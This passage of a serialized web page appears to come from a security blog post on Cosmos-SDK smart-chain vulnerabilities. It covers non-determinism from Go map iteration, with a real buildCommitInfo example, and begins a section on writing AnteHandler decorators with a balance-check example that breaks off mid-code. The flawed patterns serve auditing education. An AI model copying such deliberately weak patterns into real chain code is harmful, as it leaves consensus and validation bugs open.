:1026},[84582,84586,84590,84594,84598,84602,84606,84610,84614,84618],{"type":24,"tag":327,"props":84583,"children":84584},{"style":356},[84585],{"type":29,"value":84205},{"type":24,"tag":327,"props":84587,"children":84588},{"style":346},[84589],{"type":29,"value":66},{"type":24,"tag":327,"props":84591,"children":84592},{"style":340},[84593],{"type":29,"value":84214},{"type":24,"tag":327,"props":84595,"children":84596},{"style":346},[84597],{"type":29,"value":349},{"type":24,"tag":327,"props":84599,"children":84600},{"style":356},[84601],{"type":29,"value":78881},{"type":24,"tag":327,"props":84603,"children":84604},{"style":346},[84605],{"type":29,"value":2744},{"type":24,"tag":327,"props":84607,"children":84608},{"style":356},[84609],{"type":29,"value":84090},{"type":24,"tag":327,"props":84611,"children":84612},{"style":346},[84613],{"type":29,"value":11329},{"type":24,"tag":327,"props":84615,"children":84616},{"style":356},[84617],{"type":29,"value":78881},{"type":24,"tag":327,"props":84619,"children":84620},{"style":346},[84621],{"type":29,"value":84622},"]),\n",{"type":24,"tag":327,"props":84624,"children":84625},{"class":329,"line":1048},[84626],{"type":24,"tag":327,"props":84627,"children":84628},{"style":346},[84629],{"type":29,"value":84242},{"type":24,"tag":327,"props":84631,"children":84632},{"class":329,"line":1067},[84633],{"type":24,"tag":327,"props":84634,"children":84635},{"style":346},[84636],{"type":29,"value":75045},{"type":24,"tag":327,"props":84638,"children":84639},{"class":329,"line":1075},[84640],{"type":24,"tag":327,"props":84641,"children":84642},{"style":346},[84643],{"type":29,"value":535},{"type":24,"tag":327,"props":84645,"children":84646},{"class":329,"line":1084},[84647],{"type":24,"tag":327,"props":84648,"children":84649},{"style":346},[84650],{"type":29,"value":592},{"type":24,"tag":25,"props":84652,"children":84653},{},[84654],{"type":29,"value":84655},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":235,"props":84657,"children":84659},{"id":84658},"real-world-examples-1",[84660],{"type":29,"value":83416},{"type":24,"tag":25,"props":84662,"children":84663},{},[84664,84666,84671,84673,84679,84681,84687,84689,84695],{"type":29,"value":84665},"Real-world examples of ",{"type":24,"tag":284,"props":84667,"children":84669},{"className":84668},[],[84670],{"type":29,"value":73826},{"type":29,"value":84672}," causing determinism problems can be found ",{"type":24,"tag":57,"props":84674,"children":84677},{"href":84675,"rel":84676},"https://github.com/cosmos/cosmos-sdk/pull/12487",[61],[84678],{"type":29,"value":54304},{"type":29,"value":84680},", specifically, where the result of ",{"type":24,"tag":284,"props":84682,"children":84684},{"className":84683},[],[84685],{"type":29,"value":84686},"buildCommitInfo",{"type":29,"value":84688}," is inconsistent due to iteration over the ",{"type":24,"tag":284,"props":84690,"children":84692},{"className":84691},[],[84693],{"type":29,"value":84694},"rs.stores",{"type":29,"value":84696}," map.",{"type":24,"tag":25,"props":84698,"children":84699},{},[84700],{"type":24,"tag":57,"props":84701,"children":84704},{"href":84702,"rel":84703},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[61],[84705],{"type":29,"value":83466},{"type":24,"tag":317,"props":84707,"children":84709},{"code":84708,"language":82891,"meta":7,"className":82892,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[84710],{"type":24,"tag":284,"props":84711,"children":84712},{"__ignoreMap":7},[84713,84750,84763,84791,84825,84870,84916,84924,84931,84976,85006,85035,85042,85049,85076,85098,85118,85125],{"type":24,"tag":327,"props":84714,"children":84715},{"class":329,"line":330},[84716,84720,84724,84729,84733,84738,84742,84746],{"type":24,"tag":327,"props":84717,"children":84718},{"style":334},[84719],{"type":29,"value":83027},{"type":24,"tag":327,"props":84721,"children":84722},{"style":346},[84723],{"type":29,"value":5894},{"type":24,"tag":327,"props":84725,"children":84726},{"style":356},[84727],{"type":29,"value":84728},"rs ",{"type":24,"tag":327,"props":84730,"children":84731},{"style":381},[84732],{"type":29,"value":469},{"type":24,"tag":327,"props":84734,"children":84735},{"style":1639},[84736],{"type":29,"value":84737},"Store",{"type":24,"tag":327,"props":84739,"children":84740},{"style":346},[84741],{"type":29,"value":1674},{"type":24,"tag":327,"props":84743,"children":84744},{"style":340},[84745],{"type":29,"value":84686},{"type":24,"tag":327,"props":84747,"children":84748},{"style":346},[84749],{"type":29,"value":4663},{"type":24,"tag":327,"props":84751,"children":84752},{"class":329,"line":367},[84753,84758],{"type":24,"tag":327,"props":84754,"children":84755},{"style":356},[84756],{"type":29,"value":84757},"    version",{"type":24,"tag":327,"props":84759,"children":84760},{"style":1639},[84761],{"type":29,"value":84762}," int64\n",{"type":24,"tag":327,"props":84764,"children":84765},{"class":329,"line":408},[84766,84770,84774,84778,84782,84787],{"type":24,"tag":327,"props":84767,"children":84768},{"style":346},[84769],{"type":29,"value":1674},{"type":24,"tag":327,"props":84771,"children":84772},{"style":381},[84773],{"type":29,"value":469},{"type":24,"tag":327,"props":84775,"children":84776},{"style":1639},[84777],{"type":29,"value":13327},{"type":24,"tag":327,"props":84779,"children":84780},{"style":346},[84781],{"type":29,"value":66},{"type":24,"tag":327,"props":84783,"children":84784},{"style":1639},[84785],{"type":29,"value":84786},"CommitInfo",{"type":24,"tag":327,"props":84788,"children":84789},{"style":346},[84790],{"type":29,"value":497},{"type":24,"tag":327,"props":84792,"children":84793},{"class":329,"line":421},[84794,84799,84803,84807,84811,84815,84820],{"type":24,"tag":327,"props":84795,"children":84796},{"style":356},[84797],{"type":29,"value":84798},"    storeInfos",{"type":24,"tag":327,"props":84800,"children":84801},{"style":381},[84802],{"type":29,"value":83143},{"type":24,"tag":327,"props":84804,"children":84805},{"style":346},[84806],{"type":29,"value":82954},{"type":24,"tag":327,"props":84808,"children":84809},{"style":1639},[84810],{"type":29,"value":13327},{"type":24,"tag":327,"props":84812,"children":84813},{"style":346},[84814],{"type":29,"value":66},{"type":24,"tag":327,"props":84816,"children":84817},{"style":1639},[84818],{"type":29,"value":84819},"StoreInfo",{"type":24,"tag":327,"props":84821,"children":84822},{"style":346},[84823],{"type":29,"value":84824},"{}\n",{"type":24,"tag":327,"props":84826,"children":84827},{"class":329,"line":450},[84828,84832,84836,84840,84844,84848,84852,84857,84861,84866],{"type":24,"tag":327,"props":84829,"children":84830},{"style":425},[84831],{"type":29,"value":10643},{"type":24,"tag":327,"props":84833,"children":84834},{"style":356},[84835],{"type":29,"value":13499},{"type":24,"tag":327,"props":84837,"children":84838},{"style":346},[84839],{"type":29,"value":2744},{"type":24,"tag":327,"props":84841,"children":84842},{"style":356},[84843],{"type":29,"value":13508},{"type":24,"tag":327,"props":84845,"children":84846},{"style":381},[84847],{"type":29,"value":83143},{"type":24,"tag":327,"props":84849,"children":84850},{"style":425},[84851],{"type":29,"value":84126},{"type":24,"tag":327,"props":84853,"children":84854},{"style":356},[84855],{"type":29,"value":84856}," rs",{"type":24,"tag":327,"props":84858,"children":84859},{"style":346},[84860],{"type":29,"value":66},{"type":24,"tag":327,"props":84862,"children":84863},{"style":356},[84864],{"type":29,"value":84865},"stores",{"type":24,"tag":327,"props":84867,"children":84868},{"style":346},[84869],{"type":29,"value":497},{"type":24,"tag":327,"props":84871,"children":84872},{"class":329,"line":481},[84873,84877,84881,84885,84890,84894,84898,84903,84907,84912],{"type":24,"tag":327,"props":84874,"children":84875},{"style":425},[84876],{"type":29,"value":8861},{"type":24,"tag":327,"props":84878,"children":84879},{"style":356},[84880],{"type":29,"value":13399},{"type":24,"tag":327,"props":84882,"children":84883},{"style":346},[84884],{"type":29,"value":66},{"type":24,"tag":327,"props":84886,"children":84887},{"style":340},[84888],{"type":29,"value":84889},"GetStoreType",{"type":24,"tag":327,"props":84891,"children":84892},{"style":346},[84893],{"type":29,"value":7338},{"type":24,"tag":327,"props":84895,"children":84896},{"style":381},[84897],{"type":29,"value":642},{"type":24,"tag":327,"props":84899,"children":84900},{"style":356},[84901],{"type":29,"value":84902}," types",{"type":24,"tag":327,"props":84904,"children":84905},{"style":346},[84906],{"type":29,"value":66},{"type":24,"tag":327,"props":84908,"children":84909},{"style":356},[84910],{"type":29,"value":84911},"StoreTypeTransient",{"type":24,"tag":327,"props":84913,"children":84914},{"style":346},[84915],{"type":29,"value":497},{"type":24,"tag":327,"props":84917,"children":84918},{"class":329,"line":500},[84919],{"type":24,"tag":327,"props":84920,"children":84921},{"style":425},[84922],{"type":29,"value":84923},"            continue\n",{"type":24,"tag":327,"props":84925,"children":84926},{"class":329,"line":529},[84927],{"type":24,"tag":327,"props":84928,"children":84929},{"style":346},[84930],{"type":29,"value":8989},{"type":24,"tag":327,"props":84932,"children":84933},{"class":329,"line":538},[84934,84939,84943,84947,84951,84956,84960,84964,84968,84972],{"type":24,"tag":327,"props":84935,"children":84936},{"style":356},[84937],{"type":29,"value":84938},"        storeInfos",{"type":24,"tag":327,"props":84940,"children":84941},{"style":381},[84942],{"type":29,"value":4809},{"type":24,"tag":327,"props":84944,"children":84945},{"style":340},[84946],{"type":29,"value":84423},{"type":24,"tag":327,"props":84948,"children":84949},{"style":346},[84950],{"type":29,"value":349},{"type":24,"tag":327,"props":84952,"children":84953},{"style":356},[84954],{"type":29,"value":84955},"storeInfos",{"type":24,"tag":327,"props":84957,"children":84958},{"style":346},[84959],{"type":29,"value":2744},{"type":24,"tag":327,"props":84961,"children":84962},{"style":1639},[84963],{"type":29,"value":13327},{"type":24,"tag":327,"props":84965,"children":84966},{"style":346},[84967],{"type":29,"value":66},{"type":24,"tag":327,"props":84969,"children":84970},{"style":1639},[84971],{"type":29,"value":84819},{"type":24,"tag":327,"props":84973,"children":84974},{"style":346},[84975],{"type":29,"value":18427},{"type":24,"tag":327,"props":84977,"children":84978},{"class":329,"line":547},[84979,84984,84989,84993,84997,85002],{"type":24,"tag":327,"props":84980,"children":84981},{"style":356},[84982],{"type":29,"value":84983},"            Name",{"type":24,"tag":327,"props":84985,"children":84986},{"style":346},[84987],{"type":29,"value":84988},":     ",{"type":24,"tag":327,"props":84990,"children":84991},{"style":356},[84992],{"type":29,"value":78881},{"type":24,"tag":327,"props":84994,"children":84995},{"style":346},[84996],{"type":29,"value":66},{"type":24,"tag":327,"props":84998,"children":84999},{"style":340},[85000],{"type":29,"value":85001},"Name",{"type":24,"tag":327,"props":85003,"children":85004},{"style":346},[85005],{"type":29,"value":5357},{"type":24,"tag":327,"props":85007,"children":85008},{"class":329,"line":557},[85009,85014,85018,85022,85026,85031],{"type":24,"tag":327,"props":85010,"children":85011},{"style":356},[85012],{"type":29,"value":85013},"            CommitId",{"type":24,"tag":327,"props":85015,"children":85016},{"style":346},[85017],{"type":29,"value":3459},{"type":24,"tag":327,"props":85019,"children":85020},{"style":356},[85021],{"type":29,"value":13508},{"type":24,"tag":327,"props":85023,"children":85024},{"style":346},[85025],{"type":29,"value":66},{"type":24,"tag":327,"props":85027,"children":85028},{"style":340},[85029],{"type":29,"value":85030},"LastCommitID",{"type":24,"tag":327,"props":85032,"children":85033},{"style":346},[85034],{"type":29,"value":5357},{"type":24,"tag":327,"props":85036,"children":85037},{"class":329,"line":586},[85038],{"type":24,"tag":327,"props":85039,"children":85040},{"style":346},[85041],{"type":29,"value":74922},{"type":24,"tag":327,"props":85043,"children":85044},{"class":329,"line":1017},[85045],{"type":24,"tag":327,"props":85046,"children":85047},{"style":346},[85048],{"type":29,"value":535},{"type":24,"tag":327,"props":85050,"children":85051},{"class":329,"line":1026},[85052,85056,85060,85064,85068,85072],{"type":24,"tag":327,"props":85053,"children":85054},{"style":425},[85055],{"type":29,"value":6023},{"type":24,"tag":327,"props":85057,"children":85058},{"style":381},[85059],{"type":29,"value":14704},{"type":24,"tag":327,"props":85061,"children":85062},{"style":1639},[85063],{"type":29,"value":13327},{"type":24,"tag":327,"props":85065,"children":85066},{"style":346},[85067],{"type":29,"value":66},{"type":24,"tag":327,"props":85069,"children":85070},{"style":1639},[85071],{"type":29,"value":84786},{"type":24,"tag":327,"props":85073,"children":85074},{"style":346},[85075],{"type":29,"value":18427},{"type":24,"tag":327,"props":85077,"children":85078},{"class":329,"line":1048},[85079,85084,85089,85094],{"type":24,"tag":327,"props":85080,"children":85081},{"style":356},[85082],{"type":29,"value":85083},"        Version",{"type":24,"tag":327,"props":85085,"children":85086},{"style":346},[85087],{"type":29,"value":85088},":    ",{"type":24,"tag":327,"props":85090,"children":85091},{"style":356},[85092],{"type":29,"value":85093},"version",{"type":24,"tag":327,"props":85095,"children":85096},{"style":346},[85097],{"type":29,"value":2231},{"type":24,"tag":327,"props":85099,"children":85100},{"class":329,"line":1067},[85101,85106,85110,85114],{"type":24,"tag":327,"props":85102,"children":85103},{"style":356},[85104],{"type":29,"value":85105},"        StoreInfos",{"type":24,"tag":327,"props":85107,"children":85108},{"style":346},[85109],{"type":29,"value":3459},{"type":24,"tag":327,"props":85111,"children":85112},{"style":356},[85113],{"type":29,"value":84955},{"type":24,"tag":327,"props":85115,"children":85116},{"style":346},[85117],{"type":29,"value":2231},{"type":24,"tag":327,"props":85119,"children":85120},{"class":329,"line":1075},[85121],{"type":24,"tag":327,"props":85122,"children":85123},{"style":346},[85124],{"type":29,"value":535},{"type":24,"tag":327,"props":85126,"children":85127},{"class":329,"line":1084},[85128],{"type":24,"tag":327,"props":85129,"children":85130},{"style":346},[85131],{"type":29,"value":592},{"type":24,"tag":25,"props":85133,"children":85134},{},[85135,85137,85144,85145,85152],{"type":29,"value":85136},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":57,"props":85138,"children":85141},{"href":85139,"rel":85140},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[61],[85142],{"type":29,"value":85143},"time-sensitive functions",{"type":29,"value":1323},{"type":24,"tag":57,"props":85146,"children":85149},{"href":85147,"rel":85148},"https://github.com/cosmos/cosmos-sdk/issues/16638",[61],[85150],{"type":29,"value":85151},"race conditions",{"type":29,"value":66},{"type":24,"tag":228,"props":85154,"children":85156},{"id":85155},"thou-shalt-not-passor-should-you",[85157],{"type":29,"value":85158},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":25,"props":85160,"children":85161},{},[85162,85164,85170,85171,85177],{"type":29,"value":85163},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":284,"props":85165,"children":85167},{"className":85166},[],[85168],{"type":29,"value":85169},"msg.value",{"type":29,"value":2744},{"type":24,"tag":284,"props":85172,"children":85174},{"className":85173},[],[85175],{"type":29,"value":85176},"msg.sender",{"type":29,"value":85178},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":25,"props":85180,"children":85181},{},[85182,85184,85190,85192,85198],{"type":29,"value":85183},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":284,"props":85185,"children":85187},{"className":85186},[],[85188],{"type":29,"value":85189},"Cosmos-SDK",{"type":29,"value":85191}," introduces ",{"type":24,"tag":284,"props":85193,"children":85195},{"className":85194},[],[85196],{"type":29,"value":85197},"AnteHandler",{"type":29,"value":85199}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":25,"props":85201,"children":85202},{},[85203,85205,85210,85212,85217],{"type":29,"value":85204},"To provide context, let's first understand how an ",{"type":24,"tag":284,"props":85206,"children":85208},{"className":85207},[],[85209],{"type":29,"value":85197},{"type":29,"value":85211}," is processed. Each ",{"type":24,"tag":284,"props":85213,"children":85215},{"className":85214},[],[85216],{"type":29,"value":85197},{"type":29,"value":85218}," is a state transition function that can:",{"type":24,"tag":175,"props":85220,"children":85221},{},[85222,85227],{"type":24,"tag":179,"props":85223,"children":85224},{},[85225],{"type":29,"value":85226},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":179,"props":85228,"children":85229},{},[85230,85232],{"type":29,"value":85231},"Determine the course of action for the transaction.\n",{"type":24,"tag":175,"props":85233,"children":85234},{},[85235,85246],{"type":24,"tag":179,"props":85236,"children":85237},{},[85238,85240,85245],{"type":29,"value":85239},"Pass the transaction to the next ",{"type":24,"tag":284,"props":85241,"children":85243},{"className":85242},[],[85244],{"type":29,"value":85197},{"type":29,"value":66},{"type":24,"tag":179,"props":85247,"children":85248},{},[85249],{"type":29,"value":85250},"Return error for transaction.",{"type":24,"tag":25,"props":85252,"children":85253},{},[85254,85256,85261],{"type":29,"value":85255},"The bad news is that developing an ",{"type":24,"tag":284,"props":85257,"children":85259},{"className":85258},[],[85260],{"type":29,"value":85197},{"type":29,"value":85262}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":25,"props":85264,"children":85265},{},[85266,85267,85273],{"type":29,"value":1713},{"type":24,"tag":284,"props":85268,"children":85270},{"className":85269},[],[85271],{"type":29,"value":85272},"AnteHandle",{"type":29,"value":85274}," implementation may look something like this:",{"type":24,"tag":317,"props":85276,"children":85278},{"code":85277,"language":82891,"meta":7,"className":82892,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[85279],{"type":24,"tag":284,"props":85280,"children":85281},{"__ignoreMap":7},[85282,85294,85310,85317,85324,85357,85381,85406,85422,85446,85478,85526,85545,85578,85599,85611,85618,85625,85632,85662,85698,85762,85796,85828,85840,85852,85859,85866,85873,85880,85922],{"type":24,"tag":327,"props":85283,"children":85284},{"class":329,"line":330},[85285,85289],{"type":24,"tag":327,"props":85286,"children":85287},{"style":334},[85288],{"type":29,"value":17202},{"type":24,"tag":327,"props":85290,"children":85291},{"style":346},[85292],{"type":29,"value":85293}," (\n",{"type":24,"tag":327,"props":85295,"children":85296},{"class":329,"line":367},[85297,85302,85306],{"type":24,"tag":327,"props":85298,"children":85299},{"style":356},[85300],{"type":29,"value":85301},"    MIN_BALANCE",{"type":24,"tag":327,"props":85303,"children":85304},{"style":381},[85305],{"type":29,"value":4809},{"type":24,"tag":327,"props":85307,"children":85308},{"style":397},[85309],{"type":29,"value":671},{"type":24,"tag":327,"props":85311,"children":85312},{"class":329,"line":408},[85313],{"type":24,"tag":327,"props":85314,"children":85315},{"style":346},[85316],{"type":29,"value":852},{"type":24,"tag":327,"props":85318,"children":85319},{"class":329,"line":421},[85320],{"type":24,"tag":327,"props":85321,"children":85322},{"emptyLinePlaceholder":16},[85323],{"type":29,"value":544},{"type":24,"tag":327,"props":85325,"children":85326},{"class":329,"line":450},[85327,85331,85335,85340,85345,85349,85353],{"type":24,"tag":327,"props":85328,"children":85329},{"style":334},[85330],{"type":29,"value":83027},{"type":24,"tag":327,"props":85332,"children":85333},{"style":346},[85334],{"type":29,"value":5894},{"type":24,"tag":327,"props":85336,"children":85337},{"style":356},[85338],{"type":29,"value":85339},"abd ",{"type":24,"tag":327,"props":85341,"children":85342},{"style":1639},[85343],{"type":29,"value":85344},"AccountBalanceDecorator",{"type":24,"tag":327,"props":85346,"children":85347},{"style":346},[85348],{"type":29,"value":1674},{"type":24,"tag":327,"props":85350,"children":85351},{"style":340},[85352],{"type":29,"value":85272},{"type":24,"tag":327,"props":85354,"children":85355},{"style":346},[85356],{"type":29,"value":4663},{"type":24,"tag":327,"props":85358,"children":85359},{"class":329,"line":481},[85360,85364,85369,85373,85377],{"type":24,"tag":327,"props":85361,"children":85362},{"style":356},[85363],{"type":29,"value":1573},{"type":24,"tag":327,"props":85365,"children":85366},{"style":1639},[85367],{"type":29,"value":85368}," sdk",{"type":24,"tag":327,"props":85370,"children":85371},{"style":346},[85372],{"type":29,"value":66},{"type":24,"tag":327,"props":85374,"children":85375},{"style":1639},[85376],{"type":29,"value":83076},{"type":24,"tag":327,"props":85378,"children":85379},{"style":346},[85380],{"type":29,"value":2231},{"type":24,"tag":327,"props":85382,"children":85383},{"class":329,"line":500},[85384,85389,85393,85397,85402],{"type":24,"tag":327,"props":85385,"children":85386},{"style":356},[85387],{"type":29,"value":85388},"    tx",{"type":24,"tag":327,"props":85390,"children":85391},{"style":1639},[85392],{"type":29,"value":85368},{"type":24,"tag":327,"props":85394,"children":85395},{"style":346},[85396],{"type":29,"value":66},{"type":24,"tag":327,"props":85398,"children":85399},{"style":1639},[85400],{"type":29,"value":85401},"Tx",{"type":24,"tag":327,"props":85403,"children":85404},{"style":346},[85405],{"type":29,"value":2231},{"type":24,"tag":327,"props":85407,"children":85408},{"class":329,"line":529},[85409,85414,85418],{"type":24,"tag":327,"props":85410,"children":85411},{"style":356},[85412],{"type":29,"value":85413},"    simulate",{"type":24,"tag":327,"props":85415,"children":85416},{"style":1639},[85417],{"type":29,"value":1935},{"type":24,"tag":327,"props":85419,"children":85420},{"style":346},[85421],{"type":29,"value":2231},{"type":24,"tag":327,"props":85423,"children":85424},{"class":329,"line":538},[85425,85430,85434,85438,85442],{"type":24,"tag":327,"props":85426,"children":85427},{"style":356},[85428],{"type":29,"value":85429},"    next",{"type":24,"tag":327,"props":85431,"children":85432},{"style":1639},[85433],{"type":29,"value":85368},{"type":24,"tag":327,"props":85435,"children":85436},{"style":346},[85437],{"type":29,"value":66},{"type":24,"tag":327,"props":85439,"children":85440},{"style":1639},[85441],{"type":29,"value":85197},{"type":24,"tag":327,"props":85443,"children":85444},{"style":346},[85445],{"type":29,"value":2231},{"type":24,"tag":327,"props":85447,"children":85448},{"class":329,"line":547},[85449,85453,85458,85462,85466,85470,85474],{"type":24,"tag":327,"props":85450,"children":85451},{"style":346},[85452],{"type":29,"value":83109},{"type":24,"tag":327,"props":85454,"children":85455},{"style":1639},[85456],{"type":29,"value":85457},"sdk",{"type":24,"tag":327,"props":85459,"children":85460},{"style":346},[85461],{"type":29,"value":66},{"type":24,"tag":327,"props":85463,"children":85464},{"style":1639},[85465],{"type":29,"value":83076},{"type":24,"tag":327,"props":85467,"children":85468},{"style":346},[85469],{"type":29,"value":2744},{"type":24,"tag":327,"props":85471,"children":85472},{"style":1639},[85473],{"type":29,"value":22387},{"type":24,"tag":327,"props":85475,"children":85476},{"style":346},[85477],{"type":29,"value":364},{"type":24,"tag":327,"props":85479,"children":85480},{"class":329,"line":557},[85481,85486,85490,85495,85499,85503,85508,85513,85517,85522],{"type":24,"tag":327,"props":85482,"children":85483},{"style":356},[85484],{"type":29,"value":85485},"    sigTx",{"type":24,"tag":327,"props":85487,"children":85488},{"style":346},[85489],{"type":29,"value":2744},{"type":24,"tag":327,"props":85491,"children":85492},{"style":356},[85493],{"type":29,"value":85494},"ok",{"type":24,"tag":327,"props":85496,"children":85497},{"style":381},[85498],{"type":29,"value":83143},{"type":24,"tag":327,"props":85500,"children":85501},{"style":356},[85502],{"type":29,"value":74752},{"type":24,"tag":327,"props":85504,"children":85505},{"style":346},[85506],{"type":29,"value":85507},".(",{"type":24,"tag":327,"props":85509,"children":85510},{"style":1639},[85511],{"type":29,"value":85512},"authsigning",{"type":24,"tag":327,"props":85514,"children":85515},{"style":346},[85516],{"type":29,"value":66},{"type":24,"tag":327,"props":85518,"children":85519},{"style":1639},[85520],{"type":29,"value":85521},"SigVerifiableTx",{"type":24,"tag":327,"props":85523,"children":85524},{"style":346},[85525],{"type":29,"value":852},{"type":24,"tag":327,"props":85527,"children":85528},{"class":329,"line":586},[85529,85533,85537,85541],{"type":24,"tag":327,"props":85530,"children":85531},{"style":425},[85532],{"type":29,"value":428},{"type":24,"tag":327,"props":85534,"children":85535},{"style":381},[85536],{"type":29,"value":20408},{"type":24,"tag":327,"props":85538,"children":85539},{"style":356},[85540],{"type":29,"value":85494},{"type":24,"tag":327,"props":85542,"children":85543},{"style":346},[85544],{"type":29,"value":497},{"type":24,"tag":327,"props":85546,"children":85547},{"class":329,"line":1017},[85548,85552,85556,85560,85565,85569,85574],{"type":24,"tag":327,"props":85549,"children":85550},{"style":425},[85551],{"type":29,"value":4944},{"type":24,"tag":327,"props":85553,"children":85554},{"style":356},[85555],{"type":29,"value":7301},{"type":24,"tag":327,"props":85557,"children":85558},{"style":346},[85559],{"type":29,"value":2744},{"type":24,"tag":327,"props":85561,"children":85562},{"style":356},[85563],{"type":29,"value":85564},"errorsmod",{"type":24,"tag":327,"props":85566,"children":85567},{"style":346},[85568],{"type":29,"value":66},{"type":24,"tag":327,"props":85570,"children":85571},{"style":340},[85572],{"type":29,"value":85573},"Wrap",{"type":24,"tag":327,"props":85575,"children":85576},{"style":346},[85577],{"type":29,"value":4663},{"type":24,"tag":327,"props":85579,"children":85580},{"class":329,"line":1026},[85581,85586,85590,85595],{"type":24,"tag":327,"props":85582,"children":85583},{"style":356},[85584],{"type":29,"value":85585},"            sdkerrors",{"type":24,"tag":327,"props":85587,"children":85588},{"style":346},[85589],{"type":29,"value":66},{"type":24,"tag":327,"props":85591,"children":85592},{"style":356},[85593],{"type":29,"value":85594},"ErrTxDecode",{"type":24,"tag":327,"props":85596,"children":85597},{"style":346},[85598],{"type":29,"value":2231},{"type":24,"tag":327,"props":85600,"children":85601},{"class":329,"line":1048},[85602,85607],{"type":24,"tag":327,"props":85603,"children":85604},{"style":844},[85605],{"type":29,"value":85606},"            \"invalid tx type\"",{"type":24,"tag":327,"props":85608,"children":85609},{"style":346},[85610],{"type":29,"value":2231},{"type":24,"tag":327,"props":85612,"children":85613},{"class":329,"line":1067},[85614],{"type":24,"tag":327,"props":85615,"children":85616},{"style":346},[85617],{"type":29,"value":75045},{"type":24,"tag":327,"props":85619,"children":85620},{"class":329,"line":1075},[85621],{"type":24,"tag":327,"props":85622,"children":85623},{"style":346},[85624],{"type":29,"value":535},{"type":24,"tag":327,"props":85626,"children":85627},{"class":329,"line":1084},[85628],{"type":24,"tag":327,"props":85629,"children":85630},{"emptyLinePlaceholder":16},[85631],{"type":29,"value":544},{"type":24,"tag":327,"props":85633,"children":85634},{"class":329,"line":1100},[85635,85640,85644,85649,85653,85658],{"type":24,"tag":327,"props":85636,"children":85637},{"style":356},[85638],{"type":29,"value":85639},"    signers",{"type":24,"tag":327,"props":85641,"children":85642},{"style":381},[85643],{"type":29,"value":83143},{"type":24,"tag":327,"props":85645,"children":85646},{"style":356},[85647],{"type":29,"value":85648}," sigTx",{"type":24,"tag":327,"props":85650,"children":85651},{"style":346},[85652],{"type":29,"value":66},{"type":24,"tag":327,"props":85654,"children":85655},{"style":340},[85656],{"type":29,"value":85657},"GetSigners",{"type":24,"tag":327,"props":85659,"children":85660},{"style":346},[85661],{"type":29,"value":15298},{"type":24,"tag":327,"props":85663,"children":85664},{"class":329,"line":1128},[85665,85669,85673,85677,85681,85685,85689,85694],{"type":24,"tag":327,"props":85666,"children":85667},{"style":425},[85668],{"type":29,"value":10643},{"type":24,"tag":327,"props":85670,"children":85671},{"style":356},[85672],{"type":29,"value":10999},{"type":24,"tag":327,"props":85674,"children":85675},{"style":346},[85676],{"type":29,"value":2744},{"type":24,"tag":327,"props":85678,"children":85679},{"style":356},[85680],{"type":29,"value":14709},{"type":24,"tag":327,"props":85682,"children":85683},{"style":381},[85684],{"type":29,"value":83143},{"type":24,"tag":327,"props":85686,"children":85687},{"style":425},[85688],{"type":29,"value":84126},{"type":24,"tag":327,"props":85690,"children":85691},{"style":356},[85692],{"type":29,"value":85693}," signers",{"type":24,"tag":327,"props":85695,"children":85696},{"style":346},[85697],{"type":29,"value":497},{"type":24,"tag":327,"props":85699,"children":85700},{"class":329,"line":1148},[85701,85706,85710,85715,85719,85724,85728,85733,85737,85741,85745,85749,85753,85758],{"type":24,"tag":327,"props":85702,"children":85703},{"style":356},[85704],{"type":29,"value":85705},"        balance",{"type":24,"tag":327,"props":85707,"children":85708},{"style":381},[85709],{"type":29,"value":83143},{"type":24,"tag":327,"props":85711,"children":85712},{"style":356},[85713],{"type":29,"value":85714}," abd",{"type":24,"tag":327,"props":85716,"children":85717},{"style":346},[85718],{"type":29,"value":66},{"type":24,"tag":327,"props":85720,"children":85721},{"style":356},[85722],{"type":29,"value":85723},"bk",{"type":24,"tag":327,"props":85725,"children":85726},{"style":346},[85727],{"type":29,"value":66},{"type":24,"tag":327,"props":85729,"children":85730},{"style":340},[85731],{"type":29,"value":85732},"getBalance",{"type":24,"tag":327,"props":85734,"children":85735},{"style":346},[85736],{"type":29,"value":349},{"type":24,"tag":327,"props":85738,"children":85739},{"style":356},[85740],{"type":29,"value":1631},{"type":24,"tag":327,"props":85742,"children":85743},{"style":346},[85744],{"type":29,"value":2744},{"type":24,"tag":327,"props":85746,"children":85747},{"style":356},[85748],{"type":29,"value":14709},{"type":24,"tag":327,"props":85750,"children":85751},{"style":346},[85752],{"type":29,"value":2744},{"type":24,"tag":327,"props":85754,"children":85755},{"style":356},[85756],{"type":29,"value":85757},"ATOM",{"type":24,"tag":327,"props":85759,"